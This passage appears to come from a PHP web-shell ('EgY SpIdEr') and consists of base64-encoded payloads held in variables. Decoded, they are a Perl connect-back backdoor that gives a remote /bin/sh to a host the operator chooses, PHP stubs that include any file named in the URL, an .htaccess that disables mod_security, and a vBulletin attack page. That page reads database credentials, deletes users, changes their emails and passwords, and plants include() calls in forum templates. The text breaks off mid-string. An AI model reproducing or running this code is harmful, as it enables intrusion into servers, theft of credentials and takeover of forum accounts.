3268$back_connects="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KaWYgKCEkQVJHVlswXSkgew0KICBwcmludGYgIlVzYWdlOiAkMCBbSG9zdF0gPFBvcnQ+XG4iOw0KICBleGl0KDEpOw0KfQ0KcHJpbnQgIlsqXSBEdW1waW5nIEFyZ3VtZW50c1xuIjsNCiRob3N0ID0gJEFSR1ZbMF07DQokcG9ydCA9IDgwOw0KaWYgKCRBUkdWWzFdKSB7DQogICRwb3J0ID0gJEFSR1ZbMV07DQp9DQpwcmludCAiWypdIENvbm5lY3RpbmcuLi5cbiI7DQokcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJykgfHwgZGllKCJVbmtub3duIFByb3RvY29sXG4iKTsNCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAoIlNvY2tldCBFcnJvclxuIik7DQpteSAkdGFyZ2V0ID0gaW5ldF9hdG9uKCRob3N0KTsNCmlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRwb3J0LCAkdGFyZ2V0KSkgew0KICBkaWUoIlVuYWJsZSB0byBDb25uZWN0XG4iKTsNCn0NCnByaW50ICJbKl0gU3Bhd25pbmcgU2hlbGxcbiI7DQppZiAoIWZvcmsoICkpIHsNCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KICBwcmludCAiLS09PSBDb25uZWN0QmFjayBCYWNrZG9vciB2cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0=";
3269$egy_ini="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4=";
3270$htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+";
3271$egy_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4=";
3272$egy_vb="DQo8aHRtbD48aGVhZD48dGl0bGU+RWdZIFNwSWRFciA8L3RpdGxlPg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCnRyIHsNCkJPUkRFUi1SSUdIVDogICNkYWRhZGEgOw0KQk9SREVSLVRPUDogICAgI2RhZGFkYSA7DQpCT1JERVItTEVGVDogICAjZGFkYWRhIDsNCkJPUkRFUi1CT1RUT006ICNkYWRhZGEgOw0KY29sb3I6ICNmZmZmZmY7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjZGFkYWRhIDsNCkJPUkRFUi1UT1A6ICAgICNkYWRhZGEgOw0KQk9SREVSLUxFRlQ6ICAgI2RhZGFkYSA7DQpCT1JERVItQk9UVE9NOiAjZGFkYWRhIDsNCmNvbG9yOiAjZGFkYWRhOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVI6IDE7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICMzMzMzMzM7DQp9DQoudGQxIHsNCkJPUkRFUjogMTsNCmZvbnQ6IDdwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi50cjEgew0KQk9SREVSOiAxOw0KY29sb3I6ICNkYWRhZGE7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICAjZWVlZWVlICBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICNkYWRhZGE7DQp9DQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICMwMEZGMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMwMEZGMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2RhZGFkYTs7DQp9DQpzdWJtaXQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDEgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzI3MjcyNzsNCndpZHRoOiA0MCU7DQpjb2xvcjogI2RhZGFkYTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpCT0RZIHsNCm1hcmdpbjogMTsNCmNvbG9yOiAjZGFkYWRhOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCn0NCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOnZpc2l0ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6YWN0aXZlIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KDQo8L1NUWUxFPg0KPC9oZWFkPg0KIDxib2R5IGJnY29sb3I9IiMwMDAwMDAiIHRleHQ9ImxpbWUiIGxpbms9ImxpbWUiIHZsaW5rPSJsaW1lIj4NCiA8Y2VudGVyPg0KPD8NCiRhY3QgPSAkX0dFVFsnYWN0J107DQppZigkYWN0PT0ncmVjb25maWcnICYmIGlzc2V0KCRfUE9TVFsncGF0aCddKSkNCnsNCiRwYXRoID0gJF9QT1NUWydwYXRoJ107DQppbmNsdWRlICRwYXRoOw0KPz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dGg+Ojo6OlJlYWQgQ29uZmlnIERhdGE6Ojo6PC90aD48dGg+PD8gZWNobyAnPGZvbnQgY29sb3I9eWVsbG93PicgLiAkcGF0aCAuICc8L2ZvbnQ+JzsgPz48L3RoPg0KPHRyPg0KPHRoPkhvc3QgOiA8L3RoPjx0aD48PyBlY2hvICc8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRjb25maWdbJ01hc3RlclNlcnZlciddWydzZXJ2ZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+VXNlciA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3VzZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+UGFzcyA6IDwvdGg+PHRoPjw/DQokcGFzc3NxbCA9ICRjb25maWdbJ01hc3RlclNlcnZlciddWydwYXNzd29yZCddOw0KaWYgKCRwYXNzc3FsID09ICcnKQ0Kew0KJHJlc3VsdCA9ICc8Zm9udCBjb2xvcj1yZWQ+Tm8gUGFzc3dvcmQ8L2ZvbnQ+JzsNCn0gZWxzZSB7DQokcmVzdWx0ID0gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJHBhc3NzcWwgLiAnPC9mb250Pic7DQp9DQplY2hvICRyZXN1bHQ7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+TmFtZSA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snRGF0YWJhc2UnXVsnZGJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8L3RhYmxlPg0KPD8NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImRlbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdkZWxldGUgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcikNCnsNCmVjaG8gJzxmb250IGNvbG9yPXllbGxvdz5Vc2VyIDogJyAuICR2YnVzZXIgLiAnIHdhcyBkZWxldGVkPC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgY29sb3I9cmVkPlVzZXIgOiAnIC4gJHZidXNlciAuICcgY291bGQgbm90IGJlIGRlbGV0ZWQ8L2ZvbnQ+JzsNCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09InNoZWxsIiAgJiYgaXNzZXQoJF9QT1NUWyd2YXInXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmFyID0gJF9QT1NUWyd2YXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRXZHQgPSAnVVBEQVRFIGB0ZW1wbGF0ZWAgU0VUIGB0ZW1wbGF0ZWAgPSBcJyAiLnByaW50IGluY2x1ZGUoJEhUVFBfR0VUX1ZBUlNbJyAuICR2YXIgLiAnXSkuIiBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgIi5wcmludCBpbmNsdWRlKCRIVFRQX0dFVF9WQVJTWycgLiAkdmFyIC4gJ10pLiIgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkRvbmUgRXhwbG9pdC48L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fWVsc2V7DQplY2hvICI8cD5FcnJvcjwvcD4iO30NCiRyZXN1bHQxPW15c3FsX3F1ZXJ5KCRXZHQyKTsNCiAgaWYgKCRyZXN1bHQxKSB7IGVjaG8gIjxwPkRvbmUgQ3JlYXRlIEZpbGU8L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImNvZGUiICAmJiBpc3NldCgkX1BPU1RbJ2NvZGUnXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokaW5kZXggPSAkX1BPU1RbJ2NvZGUnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRpbmRleCA9ICRfUE9TVFsnYiddOw0KJFdkdCA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnICcgLiAkaW5kZXggLiAnICBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgJyAuICRpbmRleCAuICcgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkluZGV4IHdhcyBDaGFuZ2VkIFN1Y2NlZnVsbHk8L3A+Ijt9ZWxzZXsNCmVjaG8gIjxwPkZhaWxlZCB0byBjaGFuZ2UgaW5kZXg8L3A+Ijt9DQokcmVzdWx0MT1teXNxbF9xdWVyeSgkV2R0Mik7DQppZiAoJHJlc3VsdDEpIHtlY2hvICI8cD5Eb25lIENyZWF0ZSBGaWxlPC9wPiI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCg0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0iaW5jIiAgJiYgaXNzZXQoJF9QT1NUWydsaW5rJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZibGluayA9ICRfUE9TVFsnbGluayddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJGhhY2sxNSA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuICdcJ1wnKX19eyR7ZXhpdCgpfX0mDQokX3BocGluY2x1ZGVfb3V0cHV0XCdXSEVSRSBgdGl0bGVgID1cJ0ZPUlVNSE9NRVwnOyc7DQokaGFjaz0gJ1VQREFURSBgc3R5bGVgIFNFVCBgY3NzYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuJ1wnXCcpfX17JHtleGl0KCl9fSYNCiRfcGhwaW5jbHVkZV9vdXRwdXRcJywgYHN0eWxldmFyc2AgPSBcJ1wnLCBgY3NzY29sb3JzYCA9IFwnXCcsIGBlZGl0b3JzdHlsZXNgID0gXCdcJyA7JzsNCiRyZXN1bHQ9bXlzcWxfcXVlcnkoJGhhY2sxNSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkaGFjaykgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibWFpbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICAmJiBpc3NldCgkX1BPU1RbJ3ZibWFpbCddKSkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCiR2Ym1haWwgPSAkX1BPU1RbJ3ZibWFpbCddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBlbWFpbD0iJyAuICR2Ym1haWwgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBFLU1BSUwgb2YgdGhlIHVzZXIgPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZidXNlciAuICc8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93PiB3YXMgY2hhbmdlZCB0byA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPicgLiAkdmJtYWlsIC4gJzwvZm9udD48YnI+QmFjayB0byA8YSBocmVmPSI/Ij5TaGVsbDwvYT48L2ZvbnQ+JzsNCn0gZWxzZSB7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9cmVkPkZhaWxlZCB0byBjaGFuZ2UgRS1NQUlMPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0icHN3IiAgJiYgaXNzZXQoJF9QT1NUWyd2YnVzZXInXSkgICYmIGlzc2V0KCRfUE9TVFsndmJwYXNzJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZidXNlciA9ICRfUE9TVFsndmJ1c2VyJ107DQokdmJwYXNzID0gJF9QT1NUWyd2YnBhc3MnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9